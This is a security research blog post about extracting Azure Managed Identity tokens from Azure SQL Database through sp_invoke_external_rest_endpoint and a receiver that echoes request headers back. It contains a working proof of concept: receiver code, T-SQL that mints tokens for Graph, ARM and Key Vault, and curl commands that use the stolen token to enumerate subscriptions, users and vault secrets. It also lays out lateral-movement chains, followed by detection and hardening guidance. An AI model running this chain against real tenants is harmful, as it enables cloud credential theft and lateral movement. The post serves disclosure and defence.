← All articles
Identity SecurityJun 22, 202612 min read

Extracting Azure Managed Identity Tokens From Azure SQL Database

Ashraf KhaledSecurity Research EngineerLinkedIn

Executive Summary

Azure SQL Database can mint Entra ID tokens for its own Managed Identity entirely from within T-SQL. By combining sp_invoke_external_rest_endpoint with a crafted DATABASE SCOPED CREDENTIAL, a principal that holds sufficient database privileges can pull raw tokens for any first-party Azure audience the SQL Server identity can reach, then use them from any host for as long as they're valid. How much damage that does depends entirely on what RBAC the identity has been granted.

This isn't a vulnerability in Azure SQL Database. The platform does exactly what it's supposed to: it validates the outbound URL against an allowlist and checks that the credential name matches the destination. What it doesn't do, and was never intended to do, is tie the requested token audience to that URL. The real exposure is an identity posture problem. A db_owner foothold in the database gets you whatever the Managed Identity can do in Azure, and that's frequently a much larger blast radius than whoever granted the database role intended. The rest of this post covers how the technique works, a lab walkthrough, detection signals, and what to lock down.


Background

Azure SQL Database includes sp_invoke_external_rest_endpoint, a system stored procedure that issues outbound HTTPS calls from within the database engine. When a DATABASE SCOPED CREDENTIAL of type Managed Identity is attached to the call, the platform acquires a token on behalf of the SQL Server's assigned identity and injects it into the outgoing Authorization header.

The response parameter @response only contains what the remote server returns. SQL does not surface the outbound request headers to the caller, so the token cannot be read directly from the procedure output. A receiver endpoint that reflects incoming headers back in the response body solves this and returns the token to the caller.


Managed Identity Types

Azure SQL Server supports two identity types relevant to this technique.

System-assigned identity is bound to the SQL Server's lifecycle. Enabling it creates a service principal in Entra ID scoped exclusively to that resource. Deleting the server deletes the identity.

User-assigned identity is a standalone Entra ID resource that can be attached to multiple Azure resources simultaneously. When multiple user-assigned identities are assigned to a server, one is designated as the primary identity. The sp_invoke_external_rest_endpoint procedure always uses that configured primary identity. It is not possible to switch to a different user-assigned identity per DATABASE SCOPED CREDENTIAL. Placing a client_id field in the SECRET does not select another identity; the value is silently ignored and the configured primary (or system-assigned, if no user-assigned primary is set) is used. This was independently confirmed by Microsoft's Azure Database Support team in Lesson Learned #527, where a client_id keyword added to SECRET was ignored and the system-assigned identity was used regardless.

How sp_invoke resolves the identity at runtime:

Configuration Runtime Behavior
System-assigned only System-assigned identity is used
User-assigned with primary designated Primary identity is used
Both types present User-assigned (primary) takes precedence
Specific user-assigned identity needed Not selectable per credential. The configured primary identity is always used

Disabling system-assigned identity does not eliminate the risk. If a user-assigned identity is still attached and holds RBAC permissions over sensitive resources, the attack path is unchanged.


The Outbound URL Allowlist

Azure SQL Database restricts outbound calls to a Microsoft-maintained allowlist validated through two mechanisms: domain string matching against known patterns and IP resolution to confirm the destination falls within Azure-owned address space. Custom domains are not supported. Reaching a custom-domain endpoint requires routing through Azure API Management, whose azure-api.net subdomain is on the allowlist.

Notable allowlist entries:

Domain Pattern Service
*.azurewebsites.net App Service, Azure Functions
*.azure-api.net API Management
*.blob.core.windows.net Blob Storage
*.file.core.windows.net Azure Files
*.vault.azure.net Key Vault
*.cognitiveservices.azure.com Azure AI Services
*.openai.azure.com Azure OpenAI
*.servicebus.windows.net Event Hubs, Service Bus
graph.microsoft.com Microsoft Graph

ARM (management.azure.com) is notably absent from the allowlist, but this is irrelevant to the technique: the token audience is independent of the destination URL, so an ARM token is still minted via an allowlisted receiver and used externally.


The Core Finding: Credential Name and resourceid Are Decoupled

When creating a Managed Identity credential, two values are specified:

The credential name must exactly match the URL being called. SQL enforces this at execution time and returns Error 31630 on mismatch.

The resourceid field in SECRET determines the audience of the token requested from Entra ID. SQL does not validate this value against the destination URL.

The two values don't have to match, and that's by design. SQL enforces the URL check to satisfy the allowlist, but there's no mechanism to restrict which token audience you request. You can point the credential at an allowlisted App Service receiver while asking for an ARM or Graph token. That decoupling is documented and intentional: Blob Storage tokens use storage.azure.com as the audience while the actual endpoint URL is something completely different, and Azure OpenAI works the same way. The technique works because it follows the rules, not because it breaks them.

The execution flow:

  1. SQL validates the URL against the allowlist.
  2. SQL validates that the credential name matches the called URL.
  3. SQL requests a token from Entra ID using the audience in resourceid.
  4. SQL sends the request to the receiver with the token in the Authorization header.
  5. The receiver reflects the token in the response body.
  6. SQL returns the response. The token is now readable by the caller.

Required Permissions

This is a post-exploitation technique requiring an established foothold within the database. The following permissions are needed:

Permission Purpose
CONTROL DATABASE or db_owner Create a Database Master Key
ALTER ANY DATABASE SCOPED CREDENTIAL Create the credential
EXECUTE ANY EXTERNAL ENDPOINT Execute sp_invoke_external_rest_endpoint
REFERENCES on the credential Use the credential in @credential parameter

The db_owner role satisfies all four. Granting db_owner to application service accounts is a common misconfiguration in enterprise environments and is the most likely initial access vector for this technique. A non-db_owner principal can also execute this attack if these two permissions are explicitly granted:

GRANT EXECUTE ANY EXTERNAL ENDPOINT TO [principal];
GRANT ALTER ANY DATABASE SCOPED CREDENTIAL TO [principal];

Lab Setup

SQL Server: Managed Identity

Enable the identity under Security > Identity on the SQL Server resource in the Azure Portal.

For system-assigned identity, toggle the status to On. An Object ID appears after saving, representing the service principal provisioned in Entra ID.

For user-assigned identity, add an existing managed identity from the same page and set it as the Primary identity.

Receiver Application

The receiver is a minimal .NET application deployed to App Service. It reflects all incoming request headers in the response body.

app.MapGet("/api/token", (HttpContext ctx) =>
{
    var headers = ctx.Request.Headers
        .ToDictionary(h => h.Key, h => h.Value.ToString());
    return Results.Ok(new { headers });
});

One configuration requirement: the App Service Authentication page must have no identity providers configured. The current Azure Portal UI shows an empty authentication page when no providers are set, which is the correct state. If any provider is added, App Service Easy Auth intercepts the incoming bearer token before it reaches the application handler.

Verify the receiver before running the PoC:

curl -s https://<appname>.azurewebsites.net/api/token | jq

The receiver reflecting all incoming request headers in its JSON response

The receiver reflects all incoming request headers back in its JSON response. This is the mechanism that exposes the injected token.


Proof of Concept

Credential Setup

-- Create Master Key if absent
IF NOT EXISTS (
    SELECT * FROM sys.symmetric_keys
    WHERE name = '##MS_DatabaseMasterKey##'
)
BEGIN
    CREATE MASTER KEY ENCRYPTION BY PASSWORD = '<strong-password>';
END
GO

-- Uses the SQL Server's configured primary managed identity; audience = Microsoft Graph
CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
     SECRET   = '{"resourceid":"https://graph.microsoft.com"}';
GO

The SECRET carries only resourceid, which sets the token audience. Azure SQL always uses the server's primary managed identity for the call. The audience requested via resourceid is independent of the outbound destination URL, and that independence is what the technique relies on.

Token Extraction

DECLARE @ret INT, @response NVARCHAR(MAX);

EXEC @ret = sys.sp_invoke_external_rest_endpoint
    @url        = N'https://appwrktest.azurewebsites.net/api/token',
    @method     = N'GET',
    @credential = [https://appwrktest.azurewebsites.net],
    @response   = @response OUTPUT;

SELECT JSON_VALUE(@response, '$.result.headers.Authorization') AS Token;
GO

Executing sp_invoke_external_rest_endpoint against the receiver

Executing sp_invoke_external_rest_endpoint against the receiver from a SQL client.

The Managed Identity token returned in the response body

The Managed Identity token, reflected back by the receiver and now readable from the procedure output.

The receiver reflects the full Authorization header value including the Bearer prefix. When using the token in downstream requests, do not prepend Bearer a second time.

Targeting Different Audiences

Drop the credential and recreate with a different resourceid. The receiver URL remains unchanged.

DROP DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net];
GO

CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
     SECRET   = '{"resourceid":"https://management.azure.com/"}';
GO

Common audiences:

Service resourceid
Microsoft Graph https://graph.microsoft.com
Azure Resource Manager https://management.azure.com/
Key Vault https://vault.azure.net
Storage https://storage.azure.com/
Azure OpenAI https://cognitiveservices.azure.com
Service Bus https://servicebus.azure.net
Azure SQL https://database.windows.net/

Token Validation

TOKEN="eyJ0eXAi..."

# Enumerate accessible subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2022-12-01" | jq

# Enumerate tenant users via Graph
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users" | jq

# List Key Vault secrets
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://<vault-name>.vault.azure.net/secrets?api-version=7.4" | jq

Using the extracted ARM token to enumerate accessible subscriptions

The extracted Azure Resource Manager token used from an external host to enumerate accessible subscriptions.

The decoded JWT confirms the intended audience in the aud claim. Each target service validates this claim independently. A token issued for ARM is rejected by Graph, and vice versa.

{
  "aud": "https://graph.microsoft.com",
  "iss": "https://sts.windows.net/<tenant-id>/",
  "oid": "<sql-server-mi-object-id>",
  "appid": "<sql-server-mi-client-id>",
  "exp": 1782194024
}

Decoded JWT showing the aud claim matching the requested audience

The decoded token: the aud claim matches the audience requested via resourceid, not the receiver URL the request was sent to.


Is This a Vulnerability?

No, and there's no CVE here. Every step is documented, supported behavior.

Azure SQL does enforce two things: it validates the outbound URL against its allowlist, and it requires that the credential name exactly matches the called URL. Those controls are real. What SQL doesn't enforce, and was never designed to enforce, is any relationship between the credential's resourceid audience and the destination URL. Blob Storage tokens use storage.azure.com as the audience while the actual endpoint URL is something different entirely, and Azure OpenAI works the same way. That decoupling is a design requirement, not an oversight. The receiver pattern for extracting the injected Authorization header has been written up in Microsoft's own community threads, and it falls into the same category as SSRF-to-IMDS token reflection: well-known, not novel.

The reason to care about it isn't a platform bug. It's that it makes the gap between database permissions and cloud permissions very concrete:

  • db_owner in the database often means whatever the Managed Identity can do in Azure, which can be quite a lot.
  • Once you have the token, you can use it from anywhere against any service the identity can reach, until it expires.
  • If the same user-assigned identity is attached to both prod and dev SQL Servers, compromising the dev database gives you the same token access as compromising prod.

None of that is Microsoft's problem to fix. It's a configuration problem.


Attack Paths

Standard Chain

db_owner access obtained
  --> DATABASE SCOPED CREDENTIAL created with target resourceid
      --> sp_invoke called against receiver
          --> Managed Identity token extracted
              --> Lateral movement:
                  ARM token    --> Enumerate and manage subscription resources
                  Graph token  --> Enumerate users, groups, service principals, application permissions
                  KV token     --> Read secrets, certificates, and cryptographic keys

Shared User-Assigned Identity

User-assigned identities are commonly shared across resources to simplify access management. When the same identity is attached to multiple SQL Servers, the weakest database in the group determines the blast radius for all of them.

Identity: mi-app-prod
  Attached to: SQL Server [prod], [staging], [dev]
  RBAC assignments:
    Key Vault Secrets User     on production-kv
    Storage Blob Data Reader   on production-storage
    Graph API: User.Read.All

Compromise path:
  db_owner obtained on dev (weakest security controls)
    --> Token minted using mi-app-prod
        --> Full access to production-kv, production-storage, and tenant directory

The production SQL Server is never touched. Dev and staging tend to have broader db_owner grants and weaker controls while sharing the same identity as prod. That gap is what makes this path reliable.

Key Vault Pivot

Key Vault is worth targeting specifically because what's inside it opens up paths well beyond the Azure control plane.

Key Vault token obtained
  --> Secrets enumerated:
      Database connection strings
      Third-party API keys
      CI/CD pipeline credentials
      Service account passwords
  --> Each secret represents an independent lateral movement path

Detection

Database-Level Signals

  • Any CREATE, ALTER, or DROP DATABASE SCOPED CREDENTIAL event where the credential name is an allowlisted-domain URL (especially azurewebsites.net). Watching only for CREATE misses audience rotation done via ALTER DATABASE SCOPED CREDENTIAL ... WITH SECRET = '...', which mutates the requested audience in place with no drop/create pattern.
  • Under the DATABASE_OBJECT_CHANGE_GROUP audit action group, these correspond to action IDs CR (24324), AL (24325), and DR (24326). Note that the default Azure SQL audit policy only enables BATCH_COMPLETED_GROUP, which surfaces the events as generic BCM entries with the raw T-SQL; to get the specific credential action IDs, enable DATABASE_OBJECT_CHANGE_GROUP explicitly (Set-AzSqlServerAudit -AuditActionGroup "BATCH_COMPLETED_GROUP","DATABASE_OBJECT_CHANGE_GROUP").
  • sp_invoke_external_rest_endpoint executions from databases with no prior history of outbound activity. The procedure reports an HTTP_EXTERNAL_CONNECTION wait type, queryable via sys.dm_exec_session_wait_stats and sys.dm_os_wait_stats.
  • Repeated credential mutation cycles (any mix of CREATE/ALTER/DROP) within a short window, indicating audience rotation across multiple target services.
  • Outbound egress to azurewebsites.net from databases without a documented integration dependency.

Entra ID Sign-in Logs

  • Sign-in events from the SQL Server's service principal
  • Token requests to high-value audiences (ARM, Graph, Key Vault) from an identity with no legitimate reason to access those services
  • Multiple token requests targeting different audiences in rapid succession from the same identity
  • For shared user-assigned identities, token requests from unexpected source resources

Recommendations

Immediate actions:

  • Audit all SQL Servers for active Managed Identities. Disable any that serve no documented purpose.
  • Do not attach the same user-assigned identity to resources across different security tiers. Development, staging, and production environments must use separate identities.
  • Apply least-privilege RBAC to every SQL Server identity. Scope roles to the minimum set of services the identity legitimately accesses.
  • Replace db_owner grants to application service accounts with purpose-specific roles.

Monitoring and hardening:

  • Enable SQL Audit or Defender for Cloud to capture CREATE DATABASE SCOPED CREDENTIAL and sp_invoke_external_rest_endpoint events.
  • Alert on sign-in events from SQL Server service principals targeting high-value audiences.
  • Restrict EXECUTE ANY EXTERNAL ENDPOINT to principals with a documented and approved business requirement.

Assessment checklist:

  1. Which SQL Servers have Managed Identities enabled, and of which type?
  2. What RBAC roles are assigned to each identity? (az role assignment list --assignee <object-id> --all)
  3. Is any user-assigned identity shared across resources with different security classifications?
  4. Who holds db_owner or EXECUTE ANY EXTERNAL ENDPOINT on each database?

Conclusion

Combining sp_invoke_external_rest_endpoint, DATABASE SCOPED CREDENTIAL, and Managed Identity gives a privileged database principal a way to mint and extract Entra ID tokens without ever leaving T-SQL. The platform is working as intended throughout. What makes this interesting is that the ceiling on what an attacker can do isn't set by the database role they hold. It's set by the Managed Identity's RBAC, which is often a much bigger surface.

In environments where user-assigned identities are shared across resources with different security postures, a foothold on the weakest database is enough to reach everything that shared identity can touch. That's not a subtle risk.

SQL Server Managed Identities and their RBAC assignments deserve a place in any Azure identity security assessment. A database foothold turning into cloud-wide access is precisely the kind of cross-layer exposure that ISPM tooling is built to catch.


References


This research is published for educational purposes. Testing this technique against systems without explicit authorization is prohibited.

Share This Article, Secure Your Friends!

See your identity exposure clearly.

Start with a 1-day Proof of Value in your own environment.

We respect your privacy

We use cookies to keep this site secure and working properly. With your permission, we also use optional cookies to understand usage and improve the experience. Cookie Policy

You can change your choice at any time.

Extracting Azure Managed Identity Tokens From Azure SQL Database | Forestall